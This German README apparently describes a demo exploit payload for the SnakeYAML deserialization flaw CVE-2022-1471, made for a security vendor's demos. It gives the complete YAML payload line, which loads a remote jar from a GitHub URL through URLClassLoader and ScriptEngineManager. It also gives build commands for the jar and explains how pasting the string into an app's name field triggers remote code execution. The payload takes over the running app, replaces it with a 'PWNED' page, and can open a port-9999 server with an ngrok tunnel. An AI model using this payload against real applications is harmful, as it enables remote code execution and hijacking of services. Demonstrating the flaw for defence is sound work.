
SnakeYAML CVE-2022-1471 Exploit-Payload für Seal Security Demos
Ein SnakeYAML-Deserialisierungs-Exploit-Payload für CVE-2022-1471, angepasst von artsploit/yaml-payload (ursprünglich basierend auf mbechler/marshalsec).
Beim Laden über SnakeYAMLs unsicheres Yaml.load() übernimmt dieser Payload die laufende Anwendung und ersetzt sie durch eine "You've Been PWNED"-Seite:
Wenn die Tomcat-Valve-Injektion nicht verfügbar ist (z. B. bei einer Nicht-Spring-App), fällt sie zurück auf das Starten eines eigenständigen HTTP-Servers auf Port 9999 und erstellt automatisch einen ngrok-Tunnel, falls ngrok läuft.
Dies funktioniert sowohl lokal auf macOS als auch in CI/CD-Pipelines (z. B. GitHub Actions auf Ubuntu).
Der SnakeYAML-Payload löst ScriptEngineManager über das Java-SPI (Service Provider Interface) aus:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL, das auf die yaml-payload.jar dieses Repos zeigtURLClassLoader, um entfernte Klassen zu ladenScriptEngineManager findet und lädt AwesomeScriptEngineFactory über META-INF/services/javax.script.ScriptEngineFactory/ durch die PWNED-SeiteErfordert JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
Wird als Exploit-Payload im Projekt maven-demo verwendet. Fügen Sie die Payload-Zeichenkette in das Namensfeld der App ein, um RCE auszulösen. Die Seite der App wird bei der nächsten Anfrage durch die PWNED-Seite ersetzt. Die vollständigen Demo-Anweisungen finden Sie in der README dieses Repos.